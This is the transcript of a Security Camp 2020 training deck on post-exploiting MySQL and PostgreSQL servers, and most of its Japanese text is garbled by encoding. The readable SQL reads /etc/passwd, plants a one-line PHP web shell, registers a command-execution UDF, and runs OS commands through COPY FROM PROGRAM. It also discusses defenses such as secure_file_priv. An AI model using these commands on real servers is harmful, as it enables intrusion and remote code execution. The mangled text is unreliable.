Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Learn the essential way of thinking about vulnerabilities through post-exploitation on middlewares (MySQL/PostgreSQL編)/seccamp2020-b8

20c5ddcad23304aed77ce8c3aa020562?s=47 @tkmru
November 23, 2020

Learn the essential way of thinking about vulnerabilities through post-exploitation on middlewares (MySQL/PostgreSQL編)/seccamp2020-b8

セキュリティ・キャンプ全国大会2020オンライン Bトラックにて。
https://www.ipa.go.jp/jinzai/camp/2020/zenkoku2020_program_list.html#list_b8
本編: https://speakerdeck.com/knqyf263/seccamp2020-b8

20c5ddcad23304aed77ce8c3aa020562?s=128

@tkmru

November 23, 2020
Tweet

Transcript

  1. ηΩϡϦςΟɾΩϟϯϓશࠃେձ2020ΦϯϥΠϯ Learn the essential way of thinking about vulnerabilities through

    post-exploitation on middlewares (MySQL/PostgreSQLฤ) Taichi Kotake (@tkmru) Teppei Fukuda (@knqyf263)
  2. ͜ͷεϥΠυ͸.Z42-1PTUHSF42-ฤͰ͢ ຊฤ3FEJTฤ͸εϥΠυ֓ཁͷϦϯΫࢀর !ULNSV࡞੒

  3. ࣗݾ঺հ w ໊લɿ5BJDIJ,PUBLF !ULNSV  w ॴଐɿגࣜձࣾΞΧπΩ ɹɹɹηΩϡϦςΟΤϯδχΞ w ॴࡏ஍ɿ౦ژ

    w ஶॻ   w 8&# %#13&447PM ಛूπʔϧͰ؆୯ʂ͸͡Ίͯͷ੬ऑੑௐࠪʢٕज़ධ࿦ࣾʣ w ϦόʔεΤϯδχΞϦϯάπʔϧ(IJESB࣮ફΨΠυʢϚΠφϏग़൛ʣ
  4. %#αʔόʹϩάΠϯͰ͖ͨ৔߹ Կ͕Ͱ͖Δ͔ʁ

  5. ࠷ॳʹࢥ͍ͭ͘΍ͭ QPTUFYQMPJUBUJPOPOUIF%#TFSWFS "UUBDLFS 42-จΛ࣮ߦ σʔλΛऔಘ %#4FSWFS Πϯλʔωοτ্ʹϦʔΫ μʔΫ΢ΣϒͰൢച ඃ֐اۀʹۚમཁٻͳͲ

  6. ຊ౰ʹͦΕ͚ͩʁ

  7. %#αʔό͔ΒͰ͖Δ͜ͱ w ςʔϒϧͷఆٛσʔλ͕ಡΈऔΓՄೳ w αʔό಺ͷϑΝΠϧΛಡΈऔΓՄೳ w αʔό಺΁ϑΝΠϧΛΞοϓϩʔυՄೳ w 3$&ʢ3FNPUF$PEF&YFDVUJPOʣ w

    ϦϞʔτ͔Βαʔό্Ͱ೚ҙͷίʔυΛ࣮ߦ͢Δ͜ͱ QPTUFYQMPJUBUJPOPOUIF%#TFSWFS
  8. %#αʔό͔ΒͰ͖Δ͜ͱ w ςʔϒϧͷఆٛσʔλ͕ಡΈऔΓՄೳ w αʔό಺ͷϑΝΠϧΛಡΈऔΓՄೳ w αʔό಺΁ϑΝΠϧΛΞοϓϩʔυՄೳ w 3$&ʢ3FNPUF$PEF&YFDVUJPOʣ QPTUFYQMPJUBUJPOPOUIF%#TFSWFS

    %#ͷػೳΛ׆༻͢Δ͜ͱͰΑΓඃ֐Λ֦େͰ͖Δʂ
  9. αʔό಺ͷϑΝΠϧΛಡΈऔΓՄೳ w %#ͷػೳΛ࢖͏͜ͱͰɺαʔό಺ͷϑΝΠϧΛಡΈऔΓՄೳ w %#αʔόʹϩάΠϯͯ͠ɺϓϩϯϓτ্Ͱ42-จίϚϯυΛ࣮ߦ͢Δͱ ಡΈऔΓͰ͖Δʢ.Z42- 1PTUHSF42-ʣ w 3FEJTͰ͸Ͱ͖ͳ͍ɻɻɻ w

    %#Λಈ͔͍ͯ͠ΔϢʔβ͕ಡΈऔΓՄೳͳύʔϛογϣϯ͕͍͍ͭͯΔ ϑΝΠϧͷΈ QPTUFYQMPJUBUJPOPOUIF%#TFSWFS
  10. ϑΝΠϧಡΈऔΓ͔ΒͲͷΑ͏ʹൃలͤ͞Δ͔ w FUDQBTTXE؅ཧऀݖݶͳ͠ͰϢʔβҰཡ͕ݟΕΔ w 8FCΞϓϦ͕Ұॹʹಈ͍͍ͯΔ৔߹ɺιʔείʔυΛୣऔͰ͖Δ͔΋ w ࣾ಺ֶ಺ͷ1$্ʹཱ͍ͬͯΔ%#ʹ৵ೖͰ͖ͨ৔߹ɺ%PXOMPBETϑΥϧμͳ Ͳ͔ΒॏཁͳϑΝΠϧΛಡΈऔΓͰ͖Δ͔΋ w ͳΜΒ͔ͷαʔϏεͷ"1*Ωʔ

    w ࣾ֎ൿͷࢿྉͳͲ QPTUFYQMPJUBUJPOPOUIF%#TFSWFS
  11. ಡΈ͍͚ͨͲͳ͔ͳ͔ಡΊͳ͍ϑΝΠϧ w FUDTIBEPX w ϩάΠϯύεϫʔυͷϋογϡ͕ॻ͔Ε͍ͯΔ w ಡΈऔΓʹ͸؅ཧऀݖݶ͕ඞཁ w dTTIൿີ伴໊ w

    44)ͷൿີ伴 w ࢖༻࣌ʹDINPEΛઃఆ͞Ε͍ͯΔ w 44)Λ࢖͍ͬͯΔϢʔβݖݶPS؅ཧऀݖݶͰͳ͍ͱಡΊͳ͍ QPTUFYQMPJUBUJPOPOUIF%#TFSWFS
  12. αʔό΁ϑΝΠϧΛΞοϓϩʔυՄೳ QPTUFYQMPJUBUJPOPOUIF%#TFSWFS w %#ͷػೳΛ࢖͏͜ͱͰɺαʔό಺΁ϑΝΠϧΛΞοϓϩʔυՄೳ w %#αʔόʹϩάΠϯͯ͠ɺϓϩϯϓτ্Ͱ42-จίϚϯυΛ࣮ߦ͢Δͱ ॻ͖ࠐΈͰ͖Δʢ.Z42- 1PTUHSF42- 3FEJTʣ w

    ॻ͖ࠐΈՄೳͳύʔϛογϣϯ͕͍͍ͭͯΔσΟϨΫτϦͷΈ
  13. ϑΝΠϧॻ͖ࠐΈ͔ΒͲͷΑ͏ʹൃలͤ͞Δ͔ w DSPOUBCϑΝΠϧͷॻ͖ࠐΈ w ίϚϯυΛ࣮ߦ͢ΔDSPOδϣϒΛఆظతʹ࣮ߦ͢ΔͨΊͷ࢓૊Έ w γΣϧͷΑ͏ʹΠϯλϥΫςΟϒͰ͸ͳ͍͕ίϚϯυΛ࣮ߦͰ͖Δ QPTUFYQMPJUBUJPOPOUIF%#TFSWFS

  14. DSPOUBC͸Ϛϧ΢ΣΞͷӬଓԽʹ࢖ΘΕΔ w Ϛϧ΢ΣΞͷӬଓԽ w ۦআ͞Εͳ͍Α͏ʹɺࣗಈ࣮ߦ΍μ΢ϯϩʔυΛ܁Γฦ͠ߦ͏ w &-'Ϛϧ΢ΣΞͰ͸DSPOδϣϒ͕Α͘࢖ΘΕΔ w Ϛϧ΢ΣΞΛμ΢ϯϩʔυ࣮ߦ͢ΔδϣϒΛઃఆ͓ͯ͘͠ w

    Ϛϧ΢ΣΞͷόΠφϦΛফڈ͢Δ͚ͩͰ͸Կ౓Ͱ΋෮׆͢Δ QPTUFYQMPJUBUJPOPOUIF%#TFSWFS
  15. ϑΝΠϧॻ͖ࠐΈ͔ΒͲͷΑ͏ʹൃలͤ͞Δ͔ w 8FCΞϓϦέʔγϣϯ͕ಈ͍͍ͯΔ৔߹ɺεΫϦϓτ͕ஔ͔Ε͍ͯΔύε͕ ෼͔Ε͹8FCTIFMMΛ഑ஔՄೳ w ύϥϝʔλͰࢦఆ͞ΕͨίϚϯυΛ࣮ߦ͢ΔΞϓϦέʔγϣϯΛಈ͔͢ w ϒϥ΢β΍DVSMίϚϯυ͔ΒγΣϧͷΑ͏ʹѻ͑Δʂ QPTUFYQMPJUBUJPOPOUIF%#TFSWFS

  16. 8FCTIFMMͷྫ w 1)1Ͱͷྫ QIQTZTUFN @(&5<DNE>   w (&5ύϥϝʔλʹࢦఆ͞ΕͨίϚϯυΛTZTUFNؔ਺Ͱ࣮ߦ w

    ϒϥ΢β্ͰίϚϯυΛ࣮ߦՄೳʂʂʂ QPTUFYQMPJUBUJPOPOUIF%#TFSWFS
  17. %#ͷػೳΛ࢖ͬͯ3$&ʹ࣋ͪࠐΉํ๏ w .Z42- w 6%'&YQMPJUBUJPO w 1PTUHSFT%# w $01:50'30.130(3". w

    3FEJT w 3&1-*$"0' QPTUFYQMPJUBUJPOPOUIF%#TFSWFS ͜Ε͔Β%#ຖʹςΫχοΫΛ ղઆ͠·͢ʂʂʂ
  18. .Z42-ฤ

  19. αʔό಺ͷϑΝΠϧͷಡΈऔΓ .Z42- w -0"%@'*-&ؔ਺ʹΑͬͯαʔόʹΞοϓϩʔυͨ͠ϑΝΠϧͷ಺༰Λ จࣈྻͱͯ͠औಘՄೳ w ݁Ռ͕ΞεΩʔίʔυͰฦ͞ΕΔ৔߹͸$0/7&35ؔ਺ͰจࣈίʔυΛม׵ mysql> select load_file('/etc/passwd');

    mysql> select convert(load_file('/etc/passwd') using utf8);
  20. αʔό΁ϑΝΠϧΛΞοϓϩʔυ .Z42- w 4&-&$5*/50065'*-&ߏจʹΑͬͯॻ͖ࠐΈՄೳ mysql> select '<?php system($_GET["cmd"]);?>'
 -> into

    outfile '/var/www/html/shell.php'; mysql> select from_base64('c2VjY2FtcCB0cmFjayBiCg==') 
 -> into dumpfile "hoge.so"; w େ͖͍ϑΝΠϧΛΞοϓϩʔυ͍ͨ͠ͱ͖͸#BTFʹҰ౓ม׵͢Δ
  21. TFDVSF@GJMF@QSJWʹΑΔ੍ݶ w TFDVSF@pMF@QSJW͸ϑΝΠϧΛॻ͖ࠐΈಡΈࠐΈ͢Δࡍʹɺ࢖༻ՄೳͳσΟ ϨΫτϦΛ੍ݶ͢Δઃఆ߲໨ w ࢦఆ͞ΕͨσΟϨΫτϦʹ͋ΔϑΝΠϧ͔͠ૢ࡞Ͱ͖ͳ͘ͳΔͨΊɺ ద੾ʹઃఆ͞Ε͍ͯΔͱϑΝΠϧΛಡΊͳ͍ .Z42-

  22. TFDVSF@GJMF@QSJWʹΑΔ੍ݶ w Ҏ߱Ͱ͸σϑΥϧτͰTFDVSF@pMF@QSJWʹద੾ͳύε͕ઃఆ͞Ε͍ͯΔ ͨΊɺ࠷ۙͰ͸೚ҙͷϑΝΠϧΛಡΈࠐΈॻ͖ࠐΈͰ͖Δϗετ͸গͳ͍ .Z42- mysql> show variables like "secure_file_priv";

    
 +------------------+-----------------------+
 | Variable_name | Value |
 +------------------+-----------------------+
 | secure_file_priv | /var/lib/mysql-files/ |
 +------------------+-----------------------+ 1 row in set (0.00 sec)
  23. TFDVSF@GJMF@QSJWͷσϑΥϧτ஋ w .Z42-ެࣜ%PDLFSΠϝʔδͷσϑΥϧτ஋͸/6-- w EPDLFSSVO࣌ʹTFDVSFpMFQSJWͰઃఆՄೳ w /6--Ͱ͸ɺͲͷσΟϨΫτϦʹ΋ಡΈॻ͖Ͱ͖ͳ͍ w खಈͰΠϯετʔϧͨ͠৔߹ɺσϑΥϧτ஋͸WBSMJCNZTRMpMFT w

    ςʔϒϧͷ಺༰Λ$47ɺ595౳ʹग़ྗ͢ΔࡍͳͲʹ࢖ΘΕΔσΟϨΫτϦ w ߈ܸऀ໨ઢͩͱಡΈॻ͖Ͱ͖ͯ΋ָ͘͠ͳ͍ɻɻɻ .Z42-
  24. .Z42-6%'&YQMPJUBUJPO 8IBUT6%' w 6%' 6TFS%FpOFE'VODUJPO ͸Ϣʔβ͕ࣗ༝ʹ.Z42-ʹؔ਺Λ௥Ճ͢Δͨ Ίͷػೳ w QMVHJOEJSʹࢦఆ͞Ε͍ͯΔσΟϨΫτϦʹ഑ஔͨ͠ڞ༗ϥΠϒϥϦ಺ͷؔ਺ Λɺ.Z42-ͷؔ਺ͱͯ͠࢖༻Ͱ͖Δ

    mysql> select @@plugin_dir;
 +------------------------+ | @@plugin_dir |
 +------------------------+ | /usr/lib/mysql/plugin/ |
 +------------------------+ 1 row in set (0.00 sec)
  25. .Z42-6%'&YQMPJUBUJPO 8IBUT6%' w QMVHJOEJSʹ༻ҙͨ͠ڞ༗ϥΠϒϥϦΛΞοϓϩʔυͰ͖Ε͹ ༻ҙͨؔ͠਺Λ࣮ߦՄೳ w ྫ͑͹ɺҾ਺ʹࢦఆͨ͠ίϚϯυΛ࣮ߦ͢Δؔ਺Λ༻ҙ͓ͯ͘͠ͱɺɺɺ ޷͖ͳίϚϯυΛ࣮ߦͰ͖Δʂʂ w 3$&ʂʂ

  26. ߈ܸͷྲྀΕ "UUBDLFS .Z42-4FSWFS QMVHJOEJS΁ڞ༗ϥΠϒϥϦΛ Ξοϓϩʔυ ڞ༗ϥΠϒϥϦ಺ͷؔ਺Λ 6%'ͱͯ͠ొ࿥ ొ࿥ͨؔ͠਺Λ࣮ߦ .Z42-6%'&YQMPJUBUJPO

  27. .Z42-6%'&YQMPJUBUJPO MJC@NZTRMVEG@TZT@TP w Ξοϓϩʔυ͢Δڞ༗ϥΠϒϥϦʹ͸ɺ.FUBTQMPJUʹ૊Έࠐ·Ε͍ͯΔ MJC@NZTRMVEG@TZT@TP͕࢖͑Δ w IUUQTHJUIVCDPNSBQJENFUBTQMPJUGSBNFXPSLUSFFNBTUFSEBUB FYQMPJUTNZTRM w Ҿ਺ʹࢦఆ͞ΕͨίϚϯυΛ࣮ߦ͢ΔTZT@FWBMؔ਺͕༻ҙ͞Ε͍ͯΔ

  28. .Z42-6%'&YQMPJUBUJPO 6%'Λొ࿥ mysql> select from_base64('f0VMRgIBAQAA<লུ>AAAA') into dumpfile "/usr/lib/mysql/ plugin/lib_mysqludf_sys_64.so"; Query

    OK, 1 row affected (0.01 sec)
 
 mysql> create function sys_eval returns string soname 'lib_mysqludf_sys_64.so'; Query OK, 0 rows affected (0.00 sec) -----------------------+ | @@plugin_dir |
 +------------------------+ | /usr/lib/mysql/plugin/ |
 +------------------------+ 1 row in set (0.00 sec) w MJC@NZTRMVEG@TZT@TPΛ#BTFʹม׵ͯ͠Ξοϓϩʔυ w $3&"5&'6/$5*0/ߏจͰϥΠϒϥϦ಺ͷؔ਺Λొ࿥
  29. .Z42-6%'&YQMPJUBUJPO 6%'Λ࣮ߦ w ొ࿥ͨؔ͠਺ʢTZT@FWBMʣΛ࣮ߦͰ͖Δʂ w JEίϚϯυΛ࣮ߦ͢Δྫ mysql> select convert(sys_eval('id') using

    utf8);
 +-------------------------------------------------+
 | convert(sys_eval('id') using utf8) |
 +-------------------------------------------------+
 | uid=999(mysql) gid=999(mysql) groups=999(mysql) |
 +-------------------------------------------------+
 1 row in set (0.01 sec)
  30. .Z42-6%'&YQMPJUBUJPOͷ໰୊఺ w TFDVSFpMFQSJWͷ͍ͤͰݱ୅Ͱ͸ࢗ͞Βͳ͍ɻɻɻ w QMVHJOEJSʹڞ༗ϥΠϒϥϦΛΞοϓϩʔυͰ͖ͳ͍ mysql> select from_base64('f0VMRgIBAQAA<লུ>AAAA') 
 ->

    into dumpfile "/usr/lib/mysql/plugin/lib_mysqludf_sys_64.so"; ERROR 1290 (HY000): The MySQL server is running with the --secure- file-priv option so it cannot execute this statement
  31. 1PTUHSFT42-ฤ

  32. αʔό಺ͷϑΝΠϧͷಡΈऔΓ 1PTUHSFT42- w $01:'30.ίϚϯυϑΝΠϧ͔Βςʔϒϧ΁ͱσʔλΛ౉͢ postgres=# create table test(t text);
 postgres=#

    copy test from '/etc/passwd';
 postgres=# select * from test;
  33. αʔό΁ϑΝΠϧΛΞοϓϩʔυ 1PTUHSFT42- w $01:50ίϚϯυςʔϒϧ͔ΒϑΝΠϧ΁ͱσʔλΛ౉͢ w #BTFʹม׵͢Δ͜ͱͰେ͖͍ϑΝΠϧΛΞοϓϩʔυՄೳ postgres=# copy (select convert_from(


    postgres(# decode('c2VjY2FtcCB0cmFjayBiCg==','base64'),'utf-8'))
 postgres-# to '/tmp/hoge.so' postgres=# copy (select '<?php system($_GET["cmd"]);?>') 
 postgres-# to '/var/www/html/shell.php';
  34. 1PTUHSFT%#$01:50'30.130(3". 8IBUT$01:50'30.130(3". w $01:50'30.ίϚϯυʹ130(3".Λࢦఆ͢Δ͜ͱͰ ίϚϯυΛ࣮ߦͰ͖Δ w $01:50ίϚϯυςʔϒϧ͔ΒϑΝΠϧ΁ͱσʔλΛ౉͢ w $01:'30.ίϚϯυϑΝΠϧ͔Βςʔϒϧ΁ͱσʔλΛ౉͢

  35. 1PTUHSFT%#$01:50'30.130(3". 8IBUT$01:50'30.130(3". w $01:50'30.ίϚϯυʹ130(3".Λࢦఆ͢Δ͜ͱͰ ίϚϯυΛ࣮ߦͰ͖Δ w $01:50ίϚϯυ 130(3". ςʔϒϧ͔Βࢦఆ͞ΕͨίϚϯυ΁ͱσʔλΛ౉͢ w

    $01:'30.ίϚϯυ 130(3". ࢦఆ͞ΕͨίϚϯυͷ࣮ߦ݁ՌΛςʔϒϧ΁ͱ౉͢
  36. 1PTUHSFT%#$01:50'30.130(3". "UUBDLFS 1PTUHSFT%#4FSWFS ࣮ߦ݁ՌΛ֨ೲ͢Δ ςʔϒϧΛ࡞੒୳ࡧ $01:'30.ίϚϯυ࣮ߦ 4&-&$5จʹΑΓ ࣮ߦ݁Ռऔಘ ߈ܸϑϩʔ

  37. w 1PTUHSF42-ͷެࣜ%PDLFSΠϝʔδΛىಈ͠ɺQTRMͰϩάΠϯ͠·͢ $ docker run --name postgres-camp -e POSTGRES_PASSWORD=<ύεϫʔυΛࢦఆ> -p

    127.0.0.1:5432:5432 -d postgres:13.1
 $ psql -U postgres -h localhost
 Password for user postgres: 
 psql (13.0, server 13.1 (Debian 13.1-1.pgdg100+1))
 Type "help" for help.
 
 postgres=# ࣮ࡍʹ΍ͬͯΈΔ (1/2) ؀ڥ४උ
  38. w JEίϚϯυΛ࣮ߦ͢Δྫ ࣮ࡍʹ΍ͬͯΈΔ (2/2) 3$& postgres=# create table cmd_exec(cmd_output text);


    CREATE TABLE postgres=# copy cmd_exec from program 'id';
 COPY 1 postgres=# select * from cmd_exec;
 cmd_output 
 ------------------------------------------------------------------------
 uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)
 (1 row)
  39. 1PTUHSFT%#$01:50'30.130(3".ͷར఺ w ΍ͬͯΈͯ෼͔ͬͨ௨Γɺ σϑΥϧτઃఆͷ1PTUHSFT%#Ͱར༻Մೳʂʂ

  40. ͳ੍ͥݶ͞Ε͍ͯͳ͍ͷ͔

  41. 1PTUHSFT%#$01:50'30.130(3". OPU$7&ʁ w ͜ͷػೳʹΑΔ04ίϚϯυΠϯδΣΫγϣϯ͸ɺ$7&ͱͯ͠$7&ʹ࠾ ൪͞Ε͔͚ͨ w ͔͠͠ɺ1PTUHSF42-ͷηΩϡϦςΟνʔϜ͸੬ऑੑͱೝΊ͓ͯΒͣɺ୯ͳΔػೳͩ ͱओு͓ͯ͠Γɺ࠷৽൛ͷ1PTUHSF42-Ͱ΋༗ޮ w 1PTUHSF42-αʔό͸SPPUϢʔβ͔Β͸ಈ͔ͤͳ͍Α͏ʹͳ͍ͬͯΔ

    w $01:50'30.130(3".΋1PTUHSF42-Λಈ͔͢ϢʔβͱಉҰݖݶͰ͔͠ಈ ࡞͠ͳ͍ w ͦ΋ͦ΋ऑ͍ೝূΛઃఆ͠ͳ͍͜ͱͰ๷͛Δɻ͜ͷػೳ͕ѱ͍Θ͚Ͱ͸ͳ͍